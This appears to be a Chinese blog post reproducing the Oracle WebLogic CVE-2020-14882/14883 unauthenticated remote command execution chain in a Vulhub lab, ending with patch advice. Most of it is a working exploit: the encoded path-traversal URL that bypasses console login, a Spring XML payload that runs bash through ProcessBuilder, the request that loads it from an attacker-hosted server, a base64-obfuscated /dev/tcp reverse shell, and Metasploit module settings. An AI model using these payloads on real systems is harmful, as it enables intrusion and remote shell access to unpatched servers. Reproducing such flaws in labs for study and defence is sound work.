• CVE-2020-14882、CVE-2020-14883 Weblogic 管理控制台未授权远程命令执行漏洞


    1 漏洞信息

    漏洞名称Weblogic 管理控制台未授权远程命令执行漏洞
    漏洞编号CVE-2020-14882、CVE-2020-14883
    危害等级高危
    CVSS评分10.0
    漏洞类型中间件漏洞
    漏洞厂商Oracle
    漏洞组件WebLogic
    受影响版本Oracle WeblogicServer 10.3.6.0.0
    Oracle WeblogicServer 12.1.3.0.0
    Oracle WeblogicServer 12.2.1.3.0
    Oracle WeblogicServer 12.2.1.4.0
    Oracle WeblogicServer 14.1.1.0.0
    漏洞概述CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

    2 环境搭建

    2.1 环境概述

    • Linux操作系统(Vuhub环境)

    2.2 搭建过程

    docker-compose up -d
    
    • 1

    {width=“5.759027777777778in”
    height=“0.19375in”}

    3 漏洞复现

    访问漏洞URL:http://192.168.1.136:7001/console/login/LoginForm.jsp,发现需要登录。

    {width=“5.763888888888889in”
    height=“2.683333333333333in”}

    然后访问CVE-2020-14882漏洞存在的未授权访问路径,发现成功,说明确实是存在未授权访问

    URL:http://192.168.1.136:7001/console/css/%252e%252e%252fconsole.portal
    
    • 1

    {width=“5.759027777777778in”
    height=“2.716666666666667in”}

    我们需要构造一个XML文件,来原来实现远程代码执行漏洞CVE-2020-14883,并将其保存在Weblogic可以访问到的服务器上

    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[touch /tmp/success]]></value>
              </list>
            </constructor-arg>
        </bean>
    </beans>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    {width=“5.758333333333334in”
    height=“1.1756944444444444in”}

    把恶意的xml文件所在的文件夹里开启使用python开启web服务

    python -m http.server
    
    • 1

    {width=“4.525in”
    height=“0.4166666666666667in”}

    {width=“5.763194444444444in”
    height=“2.011111111111111in”}

    执行代码

    http://192.168.1.136:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.1:8000/rce.xml")
    
    • 1

    {width=“5.761111111111111in”
    height=“2.9430555555555555in”}

    在容器内查看是否在/tmp目录下创建了success文件,发现确实是创建了

    docker exec -i -t a8a30aa2cb4c(镜像的id) /bin/bash		#进入镜像内部
    cd /tmp/
    ls
    
    • 1
    • 2
    • 3

    {width=“5.759722222222222in”
    height=“0.3972222222222222in”}

    我们还可以将反弹shell的命令加入到xml文件中

    bash -i >& /dev/tcp/192.168.1.129/2021 0>1		进行bash加密
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjEgMD4x}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    <?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg>
              <list>
                <value>bash</value>
                <value>-c</value>
                <value><![CDATA[{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjEgMD4x}|{base64,-d}|{bash,-i}]]></value>
              </list>
            </constructor-arg>
        </bean>
    </beans>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    {width=“5.758333333333334in”
    height=“2.0194444444444444in”}

    反弹成功,但是不知道为什么它自己执行exit退出

    {width=“4.308333333333334in”
    height=“0.975in”}

    还可以使用msf的exploit/multi/http/weblogic_admin_handle_rce模块,但是这个模块返回的session会很多。

    use exploit/multi/http/weblogic_admin_handle_rce
    set rhost 192.168.1.136
    set lhost 192.168.1.129
    set target Linux Dropper
    run
    
    • 1
    • 2
    • 3
    • 4
    • 5

    {width=“4.216666666666667in”
    height=“0.6583333333333333in”}

    {width=“5.761805555555555in”
    height=“0.45902777777777776in”}

    4 修复建议

    1、安装Oracle官方补丁即可

    2、暂时对外关闭后台 /console/console.portal 的访问权限。

  • 相关阅读:
    【直播回顾】OpenHarmony知识赋能六期第五课—WiFi子系统
    移动端适配vue小练习
    【基础架构】Flink/Flink-CDC的部署和配置(MySQL / ES)
    第二章 使用 api mgmnt 服务
    unique()函数
    基于Java+Spring+vue+element社区疫情服务平台设计和实现
    go的字符切片和字符串互转
    图像处理ASIC设计方法 笔记6 数据拼接和帧格式校正
    【Proteus仿真】【Arduino单片机】简易计算器设计
    codeforces每日5题(均1600)-第二十八天
  • 原文地址:https://blog.csdn.net/weixin_45715461/article/details/125566648